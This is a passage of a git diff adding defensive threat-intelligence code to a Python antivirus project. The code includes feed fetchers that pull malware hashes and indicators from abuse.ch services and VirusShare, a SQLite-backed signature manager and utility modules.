List[Dict[str, Any]] = [] + for line in resp.text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + # Basic IPv4 validation. + parts = line.split(".") + if len(parts) != 4: + continue + try: + if not all(0 <= int(p) <= 255 for p in parts): + continue + except ValueError: + continue + + results.append({ + "ioc_type": "ip", + "value": line, + "threat_name": "Botnet.C2.Feodo", + "type": "C2", + "source": "feodotracker", + "details": "Verified botnet C2 IP from Feodo Tracker", + }) + + self._log("Fetched %d C2 IP(s)", len(results)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py new file mode 100644 index 0000000..b368b81 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py @@ -0,0 +1,174 @@ +"""MalwareBazaar feed for AYN Antivirus. + +Fetches recent malware sample hashes from the abuse.ch MalwareBazaar +CSV export (free, no API key required). + +CSV export: https://bazaar.abuse.ch/export/ +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List, Optional + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://bazaar.abuse.ch/export/csv/recent/" +_CSV_FULL_URL = "https://bazaar.abuse.ch/export/csv/full/" +_API_URL = "https://mb-api.abuse.ch/api/v1/" +_TIMEOUT = 60 + + +class MalwareBazaarFeed(BaseFeed): + """Fetch malware SHA-256 hashes from MalwareBazaar. + + Uses the free CSV export by default. Falls back to JSON API + if an api_key is provided. + """ + + def __init__(self, api_key: Optional[str] = None, **kwargs: Any) -> None: + super().__init__(**kwargs) + self.api_key = api_key + + def get_name(self) -> str: + return "malwarebazaar" + + def fetch(self) -> List[Dict[str, Any]]: + """Fetch recent malware hashes from CSV export.""" + return self._fetch_csv(_CSV_RECENT_URL) + + def fetch_recent(self, hours: int = 24) -> List[Dict[str, Any]]: + """Fetch recent samples. CSV export returns last ~1000 samples.""" + return self._fetch_csv(_CSV_RECENT_URL) + + def _fetch_csv(self, url: str) -> List[Dict[str, Any]]: + """Download and parse the MalwareBazaar CSV export.""" + self._rate_limit_wait() + self._log("Fetching hashes from %s", url) + + try: + resp = requests.get(url, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [ + line for line in resp.text.splitlines() + if line.strip() and not line.startswith("#") + ] + + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 8: + continue + # CSV columns: + # 0: first_seen, 1: sha256, 2: md5, 3: sha1, + # 4: reporter, 5: filename, 6: file_type, 7: mime_type, + # 8+: signature, ... + sha256 = row[1].strip().strip('"') + if not sha256 or len(sha256) != 64: + continue + + filename = row[5].strip().strip('"') if len(row) > 5 else "" + file_type = row[6].strip().strip('"') if len(row) > 6 else "" + signature = row[8].strip().strip('"') if len(row) > 8 else "" + reporter = row[4].strip().strip('"') if len(row) > 4 else "" + + threat_name = ( + signature + if signature and signature not in ("null", "n/a", "None", "") + else f"Malware.{_map_type_name(file_type)}" + ) + + results.append({ + "hash": sha256.lower(), + "threat_name": threat_name, + "threat_type": _map_type(file_type), + "severity": "HIGH", + "source": "malwarebazaar", + "details": ( + f"file={filename}, type={file_type}, reporter={reporter}" + ), + }) + + self._log("Parsed %d hash signature(s) from CSV", len(results)) + self._mark_updated() + return results + + def fetch_by_tag(self, tag: str) -> List[Dict[str, Any]]: + """Fetch samples by tag (requires API key, falls back to empty).""" + if not self.api_key: + self._warn("fetch_by_tag requires API key") + return [] + + self._rate_limit_wait() + payload = {"query": "get_taginfo", "tag": tag, "limit": 100} + if self.api_key: + payload["api_key"] = self.api_key + + try: + resp = requests.post(_API_URL, data=payload, timeout=_TIMEOUT) + resp.raise_for_status() + data = resp.json() + except requests.RequestException as exc: + self._error("API request failed: %s", exc) + return [] + + if data.get("query_status") != "ok": + return [] + + results = [] + for entry in data.get("data", []): + sha256 = entry.get("sha256_hash", "") + if not sha256: + continue + results.append({ + "hash": sha256.lower(), + "threat_name": entry.get("signature") or f"Malware.{tag}", + "threat_type": _map_type(entry.get("file_type", "")), + "severity": "HIGH", + "source": "malwarebazaar", + "details": f"tag={tag}, file_type={entry.get('file_type', '')}", + }) + self._mark_updated() + return results + + +def _map_type(file_type: str) -> str: + ft = file_type.lower() + if any(x in ft for x in ("exe", "dll", "elf", "pe32")): + return "MALWARE" + if any(x in ft for x in ("doc", "xls", "pdf", "rtf")): + return "MALWARE" + if any(x in ft for x in ("script", "js", "vbs", "ps1", "bat", "sh")): + return "MALWARE" + return "MALWARE" + + +def _map_type_name(file_type: str) -> str: + """Map file type to a readable threat name suffix.""" + ft = file_type.lower().strip() + m = { + "exe": "Win32.Executable", "dll": "Win32.DLL", "msi": "Win32.Installer", + "elf": "Linux.ELF", "so": "Linux.SharedLib", + "doc": "Office.Document", "docx": "Office.Document", + "xls": "Office.Spreadsheet", "xlsx": "Office.Spreadsheet", + "pdf": "PDF.Document", "rtf": "Office.RTF", + "js": "Script.JavaScript", "vbs": "Script.VBScript", + "ps1": "Script.PowerShell", "bat": "Script.Batch", + "sh": "Script.Shell", "py": "Script.Python", + "apk": "Android.APK", "ipa": "iOS.IPA", + "app": "macOS.App", "pkg": "macOS.Pkg", "dmg": "macOS.DMG", + "rar": "Archive.RAR", "zip": "Archive.ZIP", + "7z": "Archive.7Z", "tar": "Archive.TAR", "gz": "Archive.GZ", + "iso": "DiskImage.ISO", "img": "DiskImage.IMG", + } + return m.get(ft, "Generic") diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py new file mode 100644 index 0000000..bc03a25 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py @@ -0,0 +1,117 @@ +"""ThreatFox feed for AYN Antivirus. + +Fetches IOCs (IPs, domains, URLs, hashes) from the abuse.ch ThreatFox +CSV export (free, no API key required). + +CSV export: https://threatfox.abuse.ch/export/ +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://threatfox.abuse.ch/export/csv/recent/" +_CSV_FULL_URL = "https://threatfox.abuse.ch/export/csv/full/" +_TIMEOUT = 60 + + +class ThreatFoxFeed(BaseFeed): + """Fetch IOCs from ThreatFox CSV export.""" + + def get_name(self) -> str: + return "threatfox" + + def fetch(self) -> List[Dict[str, Any]]: + return self.fetch_recent() + + def fetch_recent(self, days: int = 7) -> List[Dict[str, Any]]: + """Fetch recent IOCs from CSV export.""" + self._rate_limit_wait() + self._log("Fetching IOCs from CSV export") + + try: + resp = requests.get(_CSV_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + + for row in reader: + if len(row) < 6: + continue + # CSV: 0:first_seen, 1:ioc_id, 2:ioc_value, 3:ioc_type, + # 4:threat_type, 5:malware, 6:malware_alias, + # 7:malware_printable, 8:last_seen, 9:confidence, + # 10:reference, 11:tags, 12:reporter + ioc_value = row[2].strip().strip('"') + ioc_type_raw = row[3].strip().strip('"').lower() + threat_type = row[4].strip().strip('"') if len(row) > 4 else "" + malware = row[5].strip().strip('"') if len(row) > 5 else "" + malware_printable = row[7].strip().strip('"') if len(row) > 7 else "" + confidence = row[9].strip().strip('"') if len(row) > 9 else "0" + + if not ioc_value: + continue + + # Classify IOC type + ioc_type = _classify_ioc(ioc_type_raw, ioc_value) + threat_name = malware_printable or malware or "Unknown" + + # Hash IOCs go into hash DB + if ioc_type == "hash": + results.append({ + "hash": ioc_value.lower(), + "threat_name": threat_name, + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "threatfox", + "details": f"threat={threat_type}, confidence={confidence}", + }) + else: + clean_value = ioc_value + if ioc_type == "ip" and ":" in ioc_value: + clean_value = ioc_value.rsplit(":", 1)[0] + + results.append({ + "ioc_type": ioc_type, + "value": clean_value, + "threat_name": threat_name, + "type": threat_type or "C2", + "source": "threatfox", + "confidence": int(confidence) if confidence.isdigit() else 0, + }) + + self._log("Fetched %d IOC(s)", len(results)) + self._mark_updated() + return results + + +def _classify_ioc(raw_type: str, value: str) -> str: + if "ip" in raw_type: + return "ip" + if "domain" in raw_type: + return "domain" + if "url" in raw_type: + return "url" + if "hash" in raw_type or "sha256" in raw_type or "md5" in raw_type: + return "hash" + if value.startswith("http://") or value.startswith("https://"): + return "url" + if len(value) == 64 and all(c in "0123456789abcdef" for c in value.lower()): + return "hash" + if ":" in value and value.replace(".", "").replace(":", "").isdigit(): + return "ip" + return "domain" diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py new file mode 100644 index 0000000..64af1c5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py @@ -0,0 +1,131 @@ +"""URLhaus feed for AYN Antivirus. + +Fetches malicious URLs and payload hashes from the abuse.ch URLhaus +CSV/text exports (free, no API key required). +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://urlhaus.abuse.ch/downloads/csv_recent/" +_TEXT_ONLINE_URL = "https://urlhaus.abuse.ch/downloads/text_online/" +_PAYLOAD_RECENT_URL = "https://urlhaus.abuse.ch/downloads/payloads_recent/" +_TIMEOUT = 60 + + +class URLHausFeed(BaseFeed): + """Fetch malware URLs and payload hashes from URLhaus.""" + + def get_name(self) -> str: + return "urlhaus" + + def fetch(self) -> List[Dict[str, Any]]: + results = self.fetch_recent() + results.extend(self.fetch_payloads()) + return results + + def fetch_recent(self) -> List[Dict[str, Any]]: + """Fetch recent malicious URLs from CSV export.""" + self._rate_limit_wait() + self._log("Fetching recent URLs from CSV export") + + try: + resp = requests.get(_CSV_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 4: + continue + # 0:id, 1:dateadded, 2:url, 3:url_status, 4:threat, 5:tags, 6:urlhaus_link, 7:reporter + url = row[2].strip().strip('"') + if not url or not url.startswith("http"): + continue + threat = row[4].strip().strip('"') if len(row) > 4 else "" + results.append({ + "ioc_type": "url", + "value": url, + "threat_name": threat if threat and threat != "None" else "Malware.Distribution", + "type": "malware_distribution", + "source": "urlhaus", + }) + + self._log("Fetched %d URL(s)", len(results)) + self._mark_updated() + return results + + def fetch_payloads(self) -> List[Dict[str, Any]]: + """Fetch recent payload hashes (SHA256) from URLhaus.""" + self._rate_limit_wait() + self._log("Fetching payload hashes") + + try: + resp = requests.get(_PAYLOAD_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Payload download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 7: + continue + # 0:first_seen, 1:url, 2:file_type, 3:md5, 4:sha256, 5:signature + sha256 = row[4].strip().strip('"') if len(row) > 4 else "" + if not sha256 or len(sha256) != 64: + continue + sig = row[5].strip().strip('"') if len(row) > 5 else "" + results.append({ + "hash": sha256.lower(), + "threat_name": sig if sig and sig != "None" else "Malware.URLhaus.Payload", + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "urlhaus", + "details": f"file_type={row[2].strip()}" if len(row) > 2 else "", + }) + + self._log("Fetched %d payload hash(es)", len(results)) + return results + + def fetch_active(self) -> List[Dict[str, Any]]: + """Fetch currently-active malware URLs.""" + self._rate_limit_wait() + try: + resp = requests.get(_TEXT_ONLINE_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Download failed: %s", exc) + return [] + + results = [] + for line in resp.text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + results.append({ + "ioc_type": "url", + "value": line, + "threat_name": "Malware.Distribution.Active", + "type": "malware_distribution", + "source": "urlhaus", + }) + self._log("Fetched %d active URL(s)", len(results)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py new file mode 100644 index 0000000..933465e --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py @@ -0,0 +1,114 @@ +"""VirusShare feed for AYN Antivirus. + +Downloads MD5 hash lists from VirusShare.com — one of the largest +free malware hash databases. Each list contains 65,536 MD5 hashes +of known malware samples (.exe, .dll, .rar, .doc, .pdf, .app, etc). + +https://virusshare.com/hashes +""" + +from __future__ import annotations + +import logging +import os +from pathlib import Path +from typing import Any, Dict, List, Optional + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_BASE_URL = "https://virusshare.com/hashfiles/VirusShare_{:05d}.md5" +_TIMEOUT = 30 +_STATE_FILE = "/var/lib/ayn-antivirus/.virusshare_last" + + +class VirusShareFeed(BaseFeed): + """Fetch malware MD5 hashes from VirusShare. + + Tracks the last downloaded list number so incremental updates + only fetch new lists. + """ + + def __init__(self, **kwargs: Any) -> None: + super().__init__(**kwargs) + self._last_list = self._load_state() + + def get_name(self) -> str: + return "virusshare" + + def fetch(self) -> List[Dict[str, Any]]: + """Fetch new hash lists since last update.""" + return self.fetch_new_lists(max_lists=3) + + def fetch_new_lists(self, max_lists: int = 3) -> List[Dict[str, Any]]: + """Download up to max_lists new VirusShare hash files.""" + results: List[Dict[str, Any]] = [] + start = self._last_list + 1 + fetched = 0 + + for i in range(start, start + max_lists): + self._rate_limit_wait() + url = _BASE_URL.format(i) + self._log("Fetching VirusShare_%05d", i) + + try: + resp = requests.get(url, timeout=_TIMEOUT) + if resp.status_code == 404: + self._log("VirusShare_%05d not found — at latest", i) + break + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Failed to fetch list %d: %s", i, exc) + break + + hashes = [ + line.strip() + for line in resp.text.splitlines() + if line.strip() and not line.startswith("#") and len(line.strip()) == 32 + ] + + for h in hashes: + results.append({ + "hash": h.lower(), + "threat_name": "Malware.VirusShare", + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "virusshare", + "details": f"md5,list={i:05d}", + }) + + self._last_list = i + self._save_state(i) + fetched += 1 + self._log("VirusShare_%05d: %d hashes", i, len(hashes)) + + self._log("Fetched %d list(s), %d total hashes", fetched, len(results)) + if results: + self._mark_updated() + return results + + def fetch_initial(self, start_list: int = 470, count: int = 11) -> List[Dict[str, Any]]: + """Bulk download for initial setup.""" + old = self._last_list + self._last_list = start_list - 1 + results = self.fetch_new_lists(max_lists=count) + if not results: + self._last_list = old + return results + + @staticmethod + def _load_state() -> int: + try: + return int(Path(_STATE_FILE).read_text().strip()) + except Exception: + return 480 # Default: start after list 480 + + @staticmethod + def _save_state(n: int) -> None: + try: + Path(_STATE_FILE).write_text(str(n)) + except Exception: + pass diff --git a/ayn-antivirus/ayn_antivirus/signatures/manager.py b/ayn-antivirus/ayn_antivirus/signatures/manager.py new file mode 100644 index 0000000..e699287 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/manager.py @@ -0,0 +1,320 @@ +"""Signature manager for AYN Antivirus. + +Orchestrates all threat-intelligence feeds, routes fetched entries into the +correct database (hash DB or IOC DB), and exposes high-level update / +status / integrity operations for the CLI and scheduler. +""" + +from __future__ import annotations + +import logging +import sqlite3 +import threading +import time +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import DEFAULT_DB_PATH +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.signatures.db.hash_db import HashDatabase +from ayn_antivirus.signatures.db.ioc_db import IOCDatabase +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed +from ayn_antivirus.signatures.feeds.emergingthreats import EmergingThreatsFeed +from ayn_antivirus.signatures.feeds.feodotracker import FeodoTrackerFeed +from ayn_antivirus.signatures.feeds.malwarebazaar import MalwareBazaarFeed +from ayn_antivirus.signatures.feeds.threatfox import ThreatFoxFeed +from ayn_antivirus.signatures.feeds.urlhaus import URLHausFeed +from ayn_antivirus.signatures.feeds.virusshare import VirusShareFeed + +logger = logging.getLogger(__name__) + + +class SignatureManager: + """Central coordinator for signature / IOC updates. + + Parameters + ---------- + config: + Application configuration. + db_path: + Override the database path from config. + """ + + def __init__( + self, + config: Config, + db_path: Optional[str | Path] = None, + ) -> None: + self.config = config + self._db_path = Path(db_path or config.db_path) + + # Databases. + self.hash_db = HashDatabase(self._db_path) + self.ioc_db = IOCDatabase(self._db_path) + + # Feeds — instantiated lazily so missing API keys don't crash init. + self._feeds: Dict[str, BaseFeed] = {} + self._init_feeds() + + # Auto-update thread handle. + self._auto_update_stop = threading.Event() + self._auto_update_thread: Optional[threading.Thread] = None + + # ------------------------------------------------------------------ + # Feed registry + # ------------------------------------------------------------------ + + def _init_feeds(self) -> None: + """Register the built-in feeds.""" + api_keys = self.config.api_keys + + self._feeds["malwarebazaar"] = MalwareBazaarFeed( + api_key=api_keys.get("malwarebazaar"), + ) + self._feeds["threatfox"] = ThreatFoxFeed() + self._feeds["urlhaus"] = URLHausFeed() + self._feeds["feodotracker"] = FeodoTrackerFeed() + self._feeds["emergingthreats"] = EmergingThreatsFeed() + self._feeds["virusshare"] = VirusShareFeed() + + @property + def feed_names(self) -> List[str]: + return list(self._feeds.keys()) + + # ------------------------------------------------------------------ + # Update operations + # ------------------------------------------------------------------ + + def update_all(self) -> Dict[str, Any]: + """Fetch from every registered feed and store results. + + Returns a summary dict with per-feed statistics. + """ + self.hash_db.initialize() + self.ioc_db.initialize() + + summary: Dict[str, Any] = {"feeds": {}, "total_new": 0, "errors": []} + + for name, feed in self._feeds.items(): + try: + stats = self._update_single(name, feed) + summary["feeds"][name] = stats + summary["total_new"] += stats.get("inserted", 0) + except Exception as exc: + logger.exception("Feed '%s' failed", name) + summary["feeds"][name] = {"error": str(exc)} + summary["errors"].append(name) + + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "source": "manager", + "feeds_updated": len(summary["feeds"]) - len(summary["errors"]), + "total_new": summary["total_new"], + }) + + logger.info( + "Signature update complete: %d feed(s), %d new entries, %d error(s)", + len(self._feeds), + summary["total_new"], + len(summary["errors"]), + ) + return summary + + def update_feed(self, feed_name: str) -> Dict[str, Any]: + """Update a single feed by name. + + Raises ``KeyError`` if *feed_name* is not registered. + """ + if feed_name not in self._feeds: + raise KeyError(f"Unknown feed: {feed_name!r} (available: {self.feed_names})") + + self.hash_db.initialize() + self.ioc_db.initialize() + + feed = self._feeds[feed_name] + stats = self._update_single(feed_name, feed) + + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "source": "manager", + "feed": feed_name, + "inserted": stats.get("inserted", 0), + }) + + return stats + + def _update_single(self, name: str, feed: BaseFeed) -> Dict[str, Any]: + """Fetch from one feed and route entries to the right DB.""" + logger.info("Updating feed: %s", name) + entries = feed.fetch() + + hashes_added = 0 + ips_added = 0 + domains_added = 0 + urls_added = 0 + + # Classify and batch entries. + hash_rows = [] + ip_rows = [] + domain_rows = [] + url_rows = [] + + for entry in entries: + ioc_type = entry.get("ioc_type") + + if ioc_type is None: + # Hash-based entry (from MalwareBazaar). + hash_rows.append(( + entry.get("hash", ""), + entry.get("threat_name", ""), + entry.get("threat_type", "MALWARE"), + entry.get("severity", "HIGH"), + entry.get("source", name), + entry.get("details", ""), + )) + elif ioc_type == "ip": + ip_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "C2"), + entry.get("source", name), + )) + elif ioc_type == "domain": + domain_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "C2"), + entry.get("source", name), + )) + elif ioc_type == "url": + url_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "malware_distribution"), + entry.get("source", name), + )) + + if hash_rows: + hashes_added = self.hash_db.bulk_add(hash_rows) + if ip_rows: + ips_added = self.ioc_db.bulk_add_ips(ip_rows) + if domain_rows: + domains_added = self.ioc_db.bulk_add_domains(domain_rows) + if url_rows: + urls_added = self.ioc_db.bulk_add_urls(url_rows) + + total = hashes_added + ips_added + domains_added + urls_added + + # Persist last-update timestamp. + self.hash_db.set_meta(f"feed_{name}_updated", datetime.utcnow().isoformat()) + + logger.info( + "Feed '%s': %d hashes, %d IPs, %d domains, %d URLs", + name, hashes_added, ips_added, domains_added, urls_added, + ) + + return { + "feed": name, + "fetched": len(entries), + "inserted": total, + "hashes": hashes_added, + "ips": ips_added, + "domains": domains_added, + "urls": urls_added, + } + + # ------------------------------------------------------------------ + # Status + # ------------------------------------------------------------------ + + def get_status(self) -> Dict[str, Any]: + """Return per-feed last-update times and aggregate stats.""" + self.hash_db.initialize() + self.ioc_db.initialize() + + feed_status: Dict[str, Any] = {} + for name in self._feeds: + last = self.hash_db.get_meta(f"feed_{name}_updated") + feed_status[name] = { + "last_updated": last, + } + + return { + "db_path": str(self._db_path), + "hash_count": self.hash_db.count(), + "hash_stats": self.hash_db.get_stats(), + "ioc_stats": self.ioc_db.get_stats(), + "feeds": feed_status, + } + + # ------------------------------------------------------------------ + # Auto-update + # ------------------------------------------------------------------ + + def auto_update(self, interval_hours: int = 6) -> None: + """Start a background thread that periodically calls :meth:`update_all`. + + Call :meth:`stop_auto_update` to stop the thread. + """ + if self._auto_update_thread and self._auto_update_thread.is_alive(): + logger.warning("Auto-update thread is already running") + return + + self._auto_update_stop.clear() + + def _loop() -> None: + logger.info("Auto-update started (every %d hours)", interval_hours) + while not self._auto_update_stop.is_set(): + try: + self.update_all() + except Exception: + logger.exception("Auto-update cycle failed") + self._auto_update_stop.wait(timeout=interval_hours * 3600) + logger.info("Auto-update stopped") + + self._auto_update_thread = threading.Thread( + target=_loop, name="ayn-auto-update", daemon=True + ) + self._auto_update_thread.start() + + def stop_auto_update(self) -> None: + """Signal the auto-update thread to stop.""" + self._auto_update_stop.set() + if self._auto_update_thread: + self._auto_update_thread.join(timeout=5) + + # ------------------------------------------------------------------ + # Integrity + # ------------------------------------------------------------------ + + def verify_db_integrity(self) -> Dict[str, Any]: + """Run ``PRAGMA integrity_check`` on the database. + + Returns a dict with ``ok`` (bool) and ``details`` (str). + """ + self.hash_db.initialize() + + try: + result = self.hash_db.conn.execute("PRAGMA integrity_check").fetchone() + ok = result[0] == "ok" if result else False + detail = result[0] if result else "no result" + except sqlite3.DatabaseError as exc: + ok = False + detail = str(exc) + + status = {"ok": ok, "details": detail} + if not ok: + logger.error("Database integrity check FAILED: %s", detail) + else: + logger.info("Database integrity check passed") + return status + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def close(self) -> None: + """Stop background threads and close databases.""" + self.stop_auto_update() + self.hash_db.close() + self.ioc_db.close() diff --git a/ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep b/ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/utils/__init__.py b/ayn-antivirus/ayn_antivirus/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/utils/helpers.py b/ayn-antivirus/ayn_antivirus/utils/helpers.py new file mode 100644 index 0000000..010e456 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/utils/helpers.py @@ -0,0 +1,179 @@ +"""General-purpose utility functions for AYN Antivirus.""" + +from __future__ import annotations + +import hashlib +import os +import platform +import re +import socket +import uuid +from datetime import timedelta +from pathlib import Path +from typing import Any, Dict + +import psutil + +from ayn_antivirus.constants import SCAN_CHUNK_SIZE + + +# --------------------------------------------------------------------------- +# Human-readable formatting +# --------------------------------------------------------------------------- + +def format_size(size_bytes: int | float) -> str: + """Convert bytes to a human-readable string (e.g. ``"14.2 MB"``).""" + for unit in ("B", "KB", "MB", "GB", "TB"): + if abs(size_bytes) < 1024: + return f"{size_bytes:.1f} {unit}" + size_bytes /= 1024 + return f"{size_bytes:.1f} PB" + + +def format_duration(seconds: float) -> str: + """Convert seconds to a human-readable duration (e.g. ``"1h 23m 45s"``).""" + if seconds < 0: + return "0s" + td = timedelta(seconds=int(seconds)) + parts = [] + total_secs = int(td.total_seconds()) + + hours, rem = divmod(total_secs, 3600) + minutes, secs = divmod(rem, 60) + + if hours: + parts.append(f"{hours}h") + if minutes: + parts.append(f"{minutes}m") + parts.append(f"{secs}s") + + return " ".join(parts) + + +# --------------------------------------------------------------------------- +# Privilege check +# --------------------------------------------------------------------------- + +def is_root() -> bool: + """Return ``True`` if the current process is running as root (UID 0).""" + return os.geteuid() == 0 + + +# --------------------------------------------------------------------------- +# System information +# --------------------------------------------------------------------------- + +def get_system_info() -> Dict[str, Any]: + """Collect hostname, OS, kernel, uptime, CPU, and memory details.""" + mem = psutil.virtual_memory() + boot = psutil.boot_time() + uptime_secs = psutil.time.time() - boot + + return { + "hostname": socket.gethostname(), + "os": f"{platform.system()} {platform.release()}", + "os_pretty": platform.platform(), + "kernel": platform.release(), + "architecture": platform.machine(), + "cpu_count": psutil.cpu_count(logical=True), + "cpu_physical": psutil.cpu_count(logical=False), + "cpu_percent": psutil.cpu_percent(interval=0.1), + "memory_total": mem.total, + "memory_total_human": format_size(mem.total), + "memory_available": mem.available, + "memory_available_human": format_size(mem.available), + "memory_percent": mem.percent, + "uptime_seconds": uptime_secs, + "uptime_human": format_duration(uptime_secs), + } + + +# --------------------------------------------------------------------------- +# Path safety +# --------------------------------------------------------------------------- + +def safe_path(path: str | Path) -> Path: + """Resolve and validate a path. + + Expands ``~``, resolves symlinks, and ensures the result does not + escape above the filesystem root via ``..`` traversal. + + Raises + ------ + ValueError + If the path is empty or contains null bytes. + """ + s = str(path).strip() + if not s: + raise ValueError("Path must not be empty") + if "\x00" in s: + raise ValueError("Path must not contain null bytes") + + resolved = Path(os.path.expanduser(s)).resolve() + return resolved + + +# --------------------------------------------------------------------------- +# ID generation +# --------------------------------------------------------------------------- + +def generate_id() -> str: + """Return a new UUID4 hex string (32 characters, no hyphens).""" + return uuid.uuid4().hex + + +# --------------------------------------------------------------------------- +# File hashing +# --------------------------------------------------------------------------- + +def hash_file(path: str | Path, algo: str = "sha256") -> str: + """Return the hex digest of *path* using the specified algorithm. + + Reads the file in chunks of :pydata:`SCAN_CHUNK_SIZE` for efficiency. + + Parameters + ---------- + algo: + Any algorithm accepted by :func:`hashlib.new`. + + Raises + ------ + OSError + If the file cannot be opened or read. + """ + h = hashlib.new(algo) + with open(path, "rb") as fh: + while True: + chunk = fh.read(SCAN_CHUNK_SIZE) + if not chunk: + break + h.update(chunk) + return h.hexdigest() + + +# --------------------------------------------------------------------------- +# Validation +# --------------------------------------------------------------------------- + +# Compiled once at import time. +_IPV4_RE = re.compile( + r"^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}" + r"(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$" +) +_DOMAIN_RE = re.compile( + r"^(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+" + r"[a-zA-Z]{2,}$" +) + + +def validate_ip(ip: str) -> bool: + """Return ``True`` if *ip* is a valid IPv4 address.""" + return bool(_IPV4_RE.match(ip.strip())) + + +def validate_domain(domain: str) -> bool: + """Return ``True`` if *domain* looks like a valid DNS domain name.""" + d = domain.strip().rstrip(".") + if len(d) > 253: + return False + return bool(_DOMAIN_RE.match(d)) diff --git a/ayn-antivirus/ayn_antivirus/utils/logger.py b/ayn-antivirus/ayn_antivirus/utils/logger.py new file mode 100644 index 0000000..3a449cb --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/utils/logger.py @@ -0,0 +1,101 @@ +"""Logging setup for AYN Antivirus. + +Provides a one-call ``setup_logging()`` function that configures a +rotating file handler and an optional console handler with consistent +formatting across the entire application. +""" + +from __future__ import annotations + +import logging +import os +import sys +from logging.handlers import RotatingFileHandler +from pathlib import Path +from typing import Optional + +from ayn_antivirus.constants import DEFAULT_LOG_PATH + +# --------------------------------------------------------------------------- +# Format +# --------------------------------------------------------------------------- +_LOG_FORMAT = "[%(asctime)s] %(levelname)s %(name)s: %(message)s" +_DATE_FORMAT = "%Y-%m-%d %H:%M:%S" + +# Rotating handler defaults. +_MAX_BYTES = 10 * 1024 * 1024 # 10 MB +_BACKUP_COUNT = 5 + + +def setup_logging( + log_dir: str | Path = DEFAULT_LOG_PATH, + level: int | str = logging.INFO, + console: bool = True, + filename: str = "ayn-antivirus.log", +) -> logging.Logger: + """Configure the root ``ayn_antivirus`` logger. + + Parameters + ---------- + log_dir: + Directory for the rotating log file. Created automatically. + level: + Logging level (``logging.DEBUG``, ``"INFO"``, etc.). + console: + If ``True``, also emit to stderr. + filename: + Name of the log file inside *log_dir*. + + Returns + ------- + logging.Logger + The configured ``ayn_antivirus`` logger. + """ + if isinstance(level, str): + level = getattr(logging, level.upper(), 